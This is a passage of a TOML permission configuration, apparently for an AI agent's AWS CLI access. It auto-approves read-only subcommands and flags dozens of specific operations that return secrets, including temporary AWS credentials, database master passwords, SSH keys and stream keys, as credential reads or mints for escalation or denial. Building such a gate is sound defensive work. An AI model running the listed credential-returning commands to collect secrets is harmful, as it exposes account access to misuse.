name = "chime-sdk-identity"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "chime-sdk-meetings"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-attendee"
profile = "credential-read"
fact = "Attendee.JoinToken — a bearer credential that lets a client authenticate and join the meeting as the specified attendee"
source = "https://docs.aws.amazon.com/chime-sdk/latest/APIReference/API_meeting-chime_Attendee.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "list-attendees"
profile = "credential-read"
fact = "Array of Attendee objects, each including JoinToken — bulk export of the join credential for every attendee in the meeting"
source = "https://docs.aws.amazon.com/chime-sdk/latest/APIReference/API_meeting-chime_Attendee.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "chime-sdk-messaging"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "chime-sdk-voice"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "cleanrooms"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "cloud9"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "cloudcontrol"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "cloudfront"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "cloudhsmv2"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "cloudsearch"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "cloudtrail"
first_arg = ["describe-*", "get-*", "list-*"]
# Researched for CloudTrail reads: trail/event-data-store selection, the audit-event query surface
# (`lookup-events` attributes, Lake query IDs), and paging. These read the audit record itself, which
# is the point — an agent inspecting what happened is a legitimate read. DELIBERATELY ABSENT:
# `--endpoint-url`, `--profile`, `--ca-bundle`, `--no-verify-ssl`, `--no-sign-request`. Redirecting
# an audit-log read matters twice over: the response is a record of account activity, so a retargeted
# endpoint both leaks it and returns attacker-chosen history.
first_arg_standalone = [
  "--debug", "--help", "--include-shadow-trails", "--no-cli-pager", "--no-include-shadow-trails",
  "--no-paginate",
]
first_arg_valued = [
  "--channel", "--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color",
  "--end-time", "--event-category", "--event-data-store", "--import-id", "--lookup-attributes",
  "--max-items", "--max-results", "--name", "--next-token", "--output", "--page-size", "--query",
  "--query-alias", "--query-id", "--region", "--resource-arn", "--resource-id-list", "--start-time",
  "--starting-token", "--trail-name", "--trail-name-list",
]

[[command.sub]]
name = "codeartifact"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-authorization-token"
profile = "credential-mint"
fact = "temporary authorization token used to authenticate to CodeArtifact package repositories (registry auth)"
source = "https://docs.aws.amazon.com/cli/latest/reference/codeartifact/get-authorization-token.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "codecatalyst"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "codecommit"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "codeguru-reviewer"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "codeguruprofiler"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "codestar-connections"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "codestar-notifications"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "cognito-identity"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-credentials-for-identity"
profile = "credential-mint"
fact = "temporary AWS credentials (AccessKeyId, SecretKey, SessionToken) for the identity"
source = "https://docs.aws.amazon.com/cli/latest/reference/cognito-identity/get-credentials-for-identity.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "get-open-id-token"
profile = "credential-mint"
fact = "OpenID Connect token exchangeable for AWS credentials (via GetCredentialsForIdentity / STS web identity)"
source = "https://docs.aws.amazon.com/cli/latest/reference/cognito-identity/get-open-id-token.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "get-open-id-token-for-developer-identity"
profile = "credential-mint"
fact = "developer-authenticated OpenID Connect token exchangeable for AWS credentials"
source = "https://docs.aws.amazon.com/cli/latest/reference/cognito-identity/get-open-id-token-for-developer-identity.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "comprehend"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "compute-optimizer"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "configservice"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "connect"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-federation-token"
profile = "credential-mint"
fact = "federated access token and refresh token (Credentials) for the Amazon Connect instance"
source = "https://docs.aws.amazon.com/cli/latest/reference/connect/get-federation-token.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "controltower"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "cur"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "databrew"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "dataexchange"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "datasync"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "datazone"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-environment-credentials"
profile = "credential-mint"
fact = "temporary AWS credentials (accessKeyId, secretAccessKey, sessionToken) for the DataZone environment"
source = "https://docs.aws.amazon.com/cli/latest/reference/datazone/get-environment-credentials.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "get-connection"
profile = "remote-read"
fact = "Reads a connection's metadata. With --with-secret the response includes connectionCredentials (accessKeyId, secretAccessKey, sessionToken) for the external connection."
source = "https://docs.aws.amazon.com/cli/latest/reference/datazone/get-connection.html"
judgment = "Base read auto-approves; --with-secret escalates to credential-read (returns the connection's credentials)."
standalone = ["--no-paginate", "--no-cli-pager", "--debug", "--help"]
valued = ["--cli-connect-timeout", "--cli-read-timeout", "--color", "--domain-identifier", "--identifier", "--output", "--query", "--region"]
[[command.sub.sub.flag]]
name = "--with-secret"
classifies = "credential-read"
fact = "Includes the connection's credential secret (accessKeyId/secretAccessKey/sessionToken) in the response."
source = "https://docs.aws.amazon.com/cli/latest/reference/datazone/get-connection.html"
[[command.sub]]
name = "dax"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "deadline"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "detective"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "devicefarm"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "devops-guru"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "directconnect"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "describe-router-configuration"
profile = "credential-read"
fact = "customerRouterConfig blob for the virtual interface, which embeds the BGP MD5 authentication key (bgp_auth_key) used to authenticate the customer-router-to-AWS BGP session"
source = "https://docs.aws.amazon.com/cli/latest/reference/directconnect/describe-router-configuration.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "describe-virtual-interfaces"
profile = "credential-read"
fact = "BGP MD5 authentication key(s): the virtual-interface-level authKey field and each bgpPeers[].authKey (6-80 char shared secret), plus the same key embedded as <bgp_auth_key> inside the returned customerRouterConfig"
source = "https://docs.aws.amazon.com/cli/latest/reference/directconnect/describe-virtual-interfaces.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "discovery"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "describe-export-tasks"
profile = "credential-read"
fact = "presigned S3 download URL (configurationsDownloadUrl) granting access to the full exported on-premises infrastructure inventory (hostnames, IPs, MACs, OS, running processes, network dependencies, performance metrics)"
source = "https://docs.aws.amazon.com/application-discovery/latest/APIReference/API_DescribeExportTasks.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "dlm"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "dms"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "docdb"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "docdb-elastic"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "ds"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "dynamodbstreams"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "ebs"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true
[[command.sub.sub]]
name = "get-snapshot-block"
profile = "bulk-object-read"
fact = "Returns the raw block data bytes of an EBS snapshot; iterating over list-snapshot-blocks exports the entire volume's contents as a streaming blob."
source = "https://docs.aws.amazon.com/cli/latest/reference/ebs/get-snapshot-block.html"
judgment = "Raw disk-block content retrieval; denied. Tier is conservative and unsettled — see the bulk-object-read archetype note."
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]

[[command.sub]]
name = "ecr-public"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-authorization-token"
profile = "credential-mint"
fact = "authorization token for authenticating to Public ECR"
source = "https://docs.aws.amazon.com/cli/latest/reference/ecr-public/get-authorization-token.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "get-login-password"
profile = "credential-mint"
fact = "prints the Public ECR password/token to stdout for docker login"
source = "https://docs.aws.amazon.com/cli/latest/reference/ecr-public/get-login-password.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "efs"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "elastictranscoder"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "emr"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-cluster-session-credentials"
profile = "credential-mint"
fact = "Temporary HTTP-basic username/password credentials (UsernamePassword {Username, Password}) tied to a runtime IAM role, used to authenticate to an EMR cluster endpoint"
source = "https://docs.aws.amazon.com/cli/latest/reference/emr/get-cluster-session-credentials.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "get-on-cluster-app-ui-presigned-url"
profile = "credential-mint"
fact = "a presigned bearer-access URL granting authenticated access to on-cluster application UIs (Spark/YARN) without further auth"
source = "https://docs.aws.amazon.com/cli/latest/reference/emr/get-on-cluster-app-ui-presigned-url.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "get-persistent-app-ui-presigned-url"
profile = "credential-mint"
fact = "a presigned bearer-access URL granting authenticated access to the persistent application UI (Spark History Server / YARN UI) without further auth"
source = "https://docs.aws.amazon.com/cli/latest/reference/emr/get-persistent-app-ui-presigned-url.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "emr-containers"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-managed-endpoint-session-credentials"
profile = "credential-mint"
fact = "A temporary session token (credentials.token / endpointCredentials.token) used to connect to an EMR-on-EKS managed endpoint"
source = "https://docs.aws.amazon.com/cli/latest/reference/emr-containers/get-managed-endpoint-session-credentials.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "emr-serverless"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "entityresolution"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "es"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "finspace"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-kx-connection-string"
profile = "credential-mint"
fact = "A signed connection string (signedConnectionString) embedding host, port, username, and an authentication token that grants access to a kdb Insights cluster"
source = "https://docs.aws.amazon.com/cli/latest/reference/finspace/get-kx-connection-string.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "firehose"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "fis"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "fms"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "forecast"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "frauddetector"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "fsx"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "gamelift"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-compute-access"
profile = "credential-mint"
fact = "temporary AWS credentials (AccessKeyId, SecretAccessKey, SessionToken) for connecting to a fleet compute"
source = "https://docs.aws.amazon.com/cli/latest/reference/gamelift/get-compute-access.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "get-compute-auth-token"
profile = "credential-mint"
fact = "AuthToken — an authentication token used to authenticate a compute resource with the Amazon GameLift service"
source = "https://docs.aws.amazon.com/cli/latest/reference/gamelift/get-compute-auth-token.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "get-instance-access"
profile = "credential-read"
fact = "fleet instance login credentials — UserName plus Secret (the private key or password) for direct instance access"
source = "https://docs.aws.amazon.com/cli/latest/reference/gamelift/get-instance-access.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "glacier"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true
[[command.sub.sub]]
name = "get-job-output"
profile = "bulk-object-read"
fact = "Downloads the output of a completed retrieval job — the retrieved archive's raw content (or a full vault inventory) — as a streaming blob to the caller."
source = "https://docs.aws.amazon.com/cli/latest/reference/glacier/get-job-output.html"
judgment = "Arbitrary archive content retrieval; denied. Tier is conservative and unsettled — see the bulk-object-read archetype note."
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]

[[command.sub]]
name = "globalaccelerator"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "grafana"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "greengrass"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "greengrassv2"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "groundstation"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "guardduty"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "health"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "healthlake"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "identitystore"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "imagebuilder"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "inspector2"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "internetmonitor"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "iot"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "iotevents"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "iotsitewise"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "iottwinmaker"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "ivs"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-stream-key"
profile = "credential-read"
fact = "the IVS stream key secret value (streamKey.value) used to authenticate stream ingest"
source = "https://docs.aws.amazon.com/cli/latest/reference/ivs/get-stream-key.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "kafka"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "kafkaconnect"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "kendra"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "keyspaces"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "kinesisanalytics"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "kinesisanalyticsv2"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "kinesisvideo"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "lakeformation"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true
[[command.sub.sub]]
name = "get-temporary-data-location-credentials"
profile = "credential-mint"
fact = "Returns temporary AWS credentials (AccessKeyId, SecretAccessKey, SessionToken) vended by Lake Formation for a registered data location."
source = "https://docs.aws.amazon.com/cli/latest/reference/lakeformation/get-temporary-data-location-credentials.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]

[[command.sub.sub]]
name = "get-temporary-glue-partition-credentials"
profile = "credential-mint"
fact = "temporary AWS credentials (AccessKeyId, SecretAccessKey, SessionToken) for partition data access"
source = "https://docs.aws.amazon.com/cli/latest/reference/lakeformation/get-temporary-glue-partition-credentials.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "get-temporary-glue-table-credentials"
profile = "credential-mint"
fact = "temporary AWS credentials (AccessKeyId, SecretAccessKey, SessionToken) for governed table data access"
source = "https://docs.aws.amazon.com/cli/latest/reference/lakeformation/get-temporary-glue-table-credentials.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "lex-models"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-bot-channel-association"
profile = "credential-read"
fact = "botConfiguration map holding the messaging-platform credentials/tokens needed to communicate with the bot (e.g. Facebook page access token and app secret, Slack client secret, Twilio-Sms auth token, Kik keys)"
source = "https://docs.aws.amazon.com/cli/latest/reference/lex-models/get-bot-channel-association.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "get-bot-channel-associations"
profile = "credential-read"
fact = "Array of bot channel associations each with a botConfiguration map containing the messaging-platform credentials/tokens (Facebook, Slack, Twilio-Sms, Kik secrets) — bulk credential disclosure across all channels of a bot"
source = "https://docs.aws.amazon.com/cli/latest/reference/lex-models/get-bot-channel-associations.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "lexv2-models"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub]]
name = "license-manager"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-access-token"
profile = "credential-mint"
fact = "A temporary access token (valid one hour) for use with AssumeRoleWithWebIdentity to obtain role credentials"
source = "https://docs.aws.amazon.com/cli/latest/reference/license-manager/get-access-token.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "lightsail"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "get-instance-access-details"
profile = "credential-mint"
fact = "SSH/RDP access credentials for a Lightsail instance — private key, password, and cert key"
source = "https://docs.aws.amazon.com/cli/latest/reference/lightsail/get-instance-access-details.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub.sub]]
name = "get-relational-database-master-user-password"
profile = "credential-read"
fact = "master user password of a Lightsail managed relational database"
source = "https://docs.aws.amazon.com/cli/latest/reference/lightsail/get-relational-database-master-user-password.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "location"
first_arg = ["describe-*", "get-*", "list-*"]
tolerate_unknown_short = true
tolerate_unknown_long = true

[[command.sub.sub]]
name = "describe-key"
profile = "credential-read"
fact = "The actual usable Amazon Location Service API key value (the `Key` field is the secret credential string itself, usable to authenticate requests)"
source = "https://docs.aws.amazon.com/cli/latest/reference/location/describe-key.html"
standalone = ["--debug", "--help", "--no-cli-pager", "--no-paginate"]
valued = ["--cli-binary-format", "--cli-connect-timeout", "--cli-read-timeout", "--color", "--max-items", "--output", "--page-size", "--query", "--region", "--starting-token"]
[[command.sub]]
name = "m2"
